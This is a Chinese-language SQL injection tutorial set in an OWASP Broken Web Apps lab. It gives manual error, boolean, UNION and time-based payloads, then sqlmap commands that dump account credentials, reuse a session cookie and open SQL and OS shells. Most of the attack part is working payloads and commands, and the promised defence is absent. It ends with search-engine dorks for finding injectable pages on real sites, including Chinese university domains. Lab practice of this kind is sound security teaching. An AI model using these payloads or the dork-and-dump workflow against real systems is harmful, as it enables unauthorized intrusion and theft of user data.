SQL注入攻击及防御

SQL注入攻击及防御

1.项目实验环境

目标靶机OWASP_Broken_Web_App_VM_1.2:

https://sourceforge.net/projects/owaspbwa/files/latest/download

测试渗透机: Kali-Linux-VM-amd64

https://cdimage.kali.org/kali-2023.1/kali-linux-2023.1-vmware-amd64.7z

2.SQL注入危害

1、拖库导致用户数据泄漏;
2、危害web等应用的安全;
3、失去操作系统的控制权;
4、用户信息被非法买卖;
5、危害企业及国家的安全!

3.SQL基础回顾

3.1 登录OWASP

项目环境: OwASP
表1 : dvwa.users
表2 : wordpress.wp_users
表3 : mysql.user

3.2 查看数据库

# 查看所有数据库
show databases();
 
# 查看当前数据库
select database();
 
# 进入dvwa数据库
use dvwa;
 

3.3 查看库中的表

# 查看库中所有表
show tables;

3.4 查看表的结构

# 查看表的结构
desc users;
# 或者
describe users;
# 或者
show create table users\G # \G垂直显示

3.5 查看表的记录

# 查看表的记录
select * from users; 
# 同
select * from users\G; 
 

3.6 information_schema

information_schema信息数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。

# 查看所有的表的具体信息
select * from information_schema.tables\G
# 查看所有数据库，DISTINCT（去重）
select DISTINCT table_schema from information_schema.Tables;
# 等价于
show databases;
# 查看所有数据库跟表
select table_schema,table_name from information_schema.tables;
# 把数据库进行分组，组里面有相应的表
select table_schema,group_concat(table_name) from information_schema.tables group by table_schema\G
# 查看相应数据库里所有表
select table_name from information_schema.tables where table_schema='dvwa';
# 等价于
show tables;

==查询数据库库名、表名、字段名information_schema.columns=

# 查看所有的字段的具体信息
select * from information_schema.columns\G
# 查看所有字段名
select column_name from information_schema.columns;
# 查看指定数据库指定表的所有字段
select column_name from information_schema.columns where table_schema = 'dvwa' and table_name = 'users';
# 查看用户权限表
select column_name from information_schema.columns where table_name = 'user_privileges';
# 数据库特权的信息
select column_name from information_schema.columns where table_name = 'schema_privileges';

4.SQL注入流程

1.判断是否有SQL注入漏洞;
2.判断操作系统、数据库和web应用的类型;
3.获取数据库信息,包括管理员信息及拖库;
4.加密信息破解，sqlmap可自动破解;
5.提升权限，获得sql-shell、os-shell、登录应用后台;

5.手动注入实战

5.1基于错误的注入

错误注入的思路是通过构造特殊的sq1语句，根据得到的错误信息,确认sq1注入点;
通过数据库报错信息，也可以探测到数据库的类型和其他有用信息。
通过输入单引号，触发数据库异常,通过异常日志诊断数据库类型，例如这里是MySQL数据库。

当前面sql所使用的库为dvwa

搜索框正常输入 1

sql语法解析：
select first_name,last_name from dvwa.users;
select first_name,last_name from dvwa.users where user_id = '1';

# 页面报错信息
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1

# sql注入语法解析：
select first_name,last_name from dvwa.users where user_id = ''';

5.2 基于布尔的注入

布尔逻辑注入的思路是闭合SQL语句、构造or和and逻辑语句、注释多余的代码;

# 原始语句
select first_name,last_name from dvwa.users where user_id = '';
 
# sql注入语句解析：' or 1=1 -- '
select first_name,last_name from dvwa.users where user_id = ' ' or 1=1 -- '  ';
 
# 说明:
# 第一个' 用于闭合前面的条件
# or 1-1为真的条件
# --空格 将注释后面的所有语句
 
 

5.3 基于UNION注入

UNION语句用于联合前面的SELECT查询语句,合并查询更多信息；
一般通过错误和布尔注入确认注入点之后,便开始通过union语句来获取有效信息。

-- 猜测数据列数
'union select 1 -- '
'union select 1,2 -- '
'union select 1,2,3 -- '
'union select 1,2,3,4 -- '
-- SQL注入语句解析:
select first_name,last_name from dvwa.users where user_id ='' union select 1 -- ''
select first_name,last_name from dvwa.users where user_id ='' union select 1,2 -- ''
-- 获得当前数据库及用户信息
'union select version(), database() -- '
'union select user(), database( ) -- ' 
 select first_name,last_name from dvwa.users where user_id =''union select version(),database() -- ''
 select first_name,last_name from dvwa.users where user_id =''union select user(),database() -- ''
 
 -- 说明
 version() # 获得数据库版本信息
 database() # 获得当前数据库名
 user() # 获得当前用户名
 
 -- SQL注入语法解析：
 select * from information_schema.TABLES\G
 
 -- 查询所有库名
select first_name,last_name from dvwa.users where user_id = ''union select table_schema,1 from information_schema.tables -- ''
 
 -- 查看所库中所有表名
select first_name,last_name from dvwa.users where user_id = ''union select table_name,1 from information_schema.tables -- ''
 
 -- 同时查询表名及对应库名
select first_name,last_name from dvwa.users where user_id = ''union select table_schema,table_name from information_schema.tables -- ''

** **

同样可以用information_schema.columns

5.4 基于时间的盲注

有些数据库对错误信息做了安全配置,使得无法通过以上方式探测到注入点,此时,通过设置sleep语句来探测注入点。

没反应

# sql注入语法解析：
select first_name,last_name from dvwa.users where user_id = '1' and sleep(5) -- '

6.sqlmap自动化注入

SQL注入比较好用的工具,首推开源工具SQLmap. SQLmap是 一个国内外著名的安全稳定性测试工具,可以用来进行自动
化检测，利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的安全稳
定性测试的功能选项，包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系
统命令。

SQLmap支持MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, sQLite,Firebird, Sybase和SAP MaxDB等数据库的各种安全漏洞检测。

6.1 GET方法注入,POST方法注入

get方式就是页面上能看的到的参数，利用页面能看得到得参数进行注入，比如www.abc.com/index.php?id=1 中id=1 就是能用get方式

POST方式，在浏览器中已经无法查看注入点位置。

url = http://192.168.1.132/mutillidae/index.php?page=user-info.php&username=suibainda&password=&user-info-php-submit-button=View+Account+Details

​

 sqlmap -u 'http://192.168.1.132/mutillidae/index.php?page=user-info.php&username=suibainda&password=&user-info-php-submit-button=View+Account+Details' -p 'usernam'
 
-u 指定一个url连接，url中必须有？xx=xx 才行（最常用的参数）例：-u "www.abc.com/index.php?id=1"
-p：指定参数进行扫描，不是扫描所有参数，这样可以避免浪费时间到非注入点参数上，从而提高扫描效率。

# 列出所有数据库
sqlmap -u 'http://192.168.1.132/mutillidae/index.php?page=user-info.php&username=suibainda&password=&user-info-php-submit-button=View+Account+Details' --dbs 
 
--dbs 枚举DBMS所有的数据库

# 列出所有用户
sqlmap -u 'http://192.168.1.132/mutillidae/index.php?page=user-info.php&username=suibainda&password=&user-info-php-submit-button=View+Account+Details' --users
 
--users 枚举目标DBMS所有的用户
--current-user                 查询目标DBMS当前用户
--current-db                    查询目标DBMS当前数据库

-u 指定一个url连接，url中必须有？xx=xx 才行（最常用的参数）例：-u "www.abc.com/index.php?id=1"
-p：指定参数进行扫描，不是扫描所有参数，这样可以避免浪费时间到非注入点参数上，从而提高扫描效率。
 
--dbs 							枚举DBMS所有的数据库
--dbms=                          指定具体DBMS
 
--users 						枚举目标DBMS所有的用户
 
--current-user                  查询目标DBMS当前用户
--current-db                    查询目标DBMS当前数据库
 
-D db                          	指定进行枚举的数据库名称
-T table                       	指定进行枚举的数据库表名称
-C column                 		指定进行枚举的数据库列名称
 
--tables                        枚举DBMS数据库中所有的表
 
--dump                          存储DBMS数据库的表中的条目
--dump-all                      存储DBMS所有数据库表中的条目
 
--exclude-sysdbs         		枚举表时排除系统数据库
 
--columns                       枚举DBMS数据库表中所有的列
 
--batch                         测试过程中， 执行所有默认配置
# 实例步骤
# 1.获得当前数据库
sqlmap -u 'http://192.168.1.132/mutillidae/index.php?page=user-info.php&username=suibainda&password=&user-info-php-submit-button=View+Account+Details' --batch --current-db
# 2.获得数据库表
sqlmap -u 'http://192.168.1.132/mutillidae/index.php?page=user-info.php&username=suibainda&password=&user-info-php-submit-button=View+Account+Details' --batch -D nowasp --tables
# 3.获得表的字段
sqlmap -u 'http://192.168.1.132/mutillidae/index.php?page=user-info.php&username=suibainda&password=&user-info-php-submit-button=View+Account+Details' --batch -D nowasp -T accounts --columns
# 4.获得表中的数据
sqlmap -u 'http://192.168.1.132/mutillidae/index.php?page=user-info.php&username=suibainda&password=&user-info-php-submit-button=View+Account+Details' --batch -D nowasp -T accounts -C'username,password' --dump
 
 
 

​

6.2 Cookie

有些网址注入点在里面就需要带cookie才能访问的注入页面，--cookie=" "

# cookie = "
	acgroupswithpersist: nada;
	acopendivids: swingset,jotto,phpbb2,redmine;
	PHPSESSID: 706kv7odf502nk5qdrrid3b856;
	security: low
"
sqlmap -u "http://192.168.1.132/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" \
--cookie="acgroupswithpersist=nada;acopendivids=swingset,jotto,phpbb2,redmine; \
PHPSESSID=706kv7odf502nk5qdrrid3b856;security=low" --batch -p 'id'

6.3 提权操作

# --sql-shell  与数据库交互 
# --os-cmd=    执行操作系统命令
# --os-shell   交互式的系统shell
 
sqlmap -u "http://192.168.1.132/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" \
--cookie="acgroupswithpersist=nada;acopendivids=swingset,jotto,phpbb2,redmine; \
PHPSESSID=706kv7odf502nk5qdrrid3b856;security=low" --batch -p 'id' --sql-shell

sql-shell> select * from users;	

6. 综合案例

 1. 通过Google搜索可能存在注入的页面
	inurl:.php?id=
	inurl:.jsp?id=
	inurl:.asp?id=
	inurl:/admin/login.php
	inurl:.php?id= intitle:美女
 2. 通过百度搜索可能存在注入的页面
	inurl:news.asp?id= site:edu.cn
	inurl:news.php?id= site :edu.cn
	inurl:news.aspx?id= site:edu.cn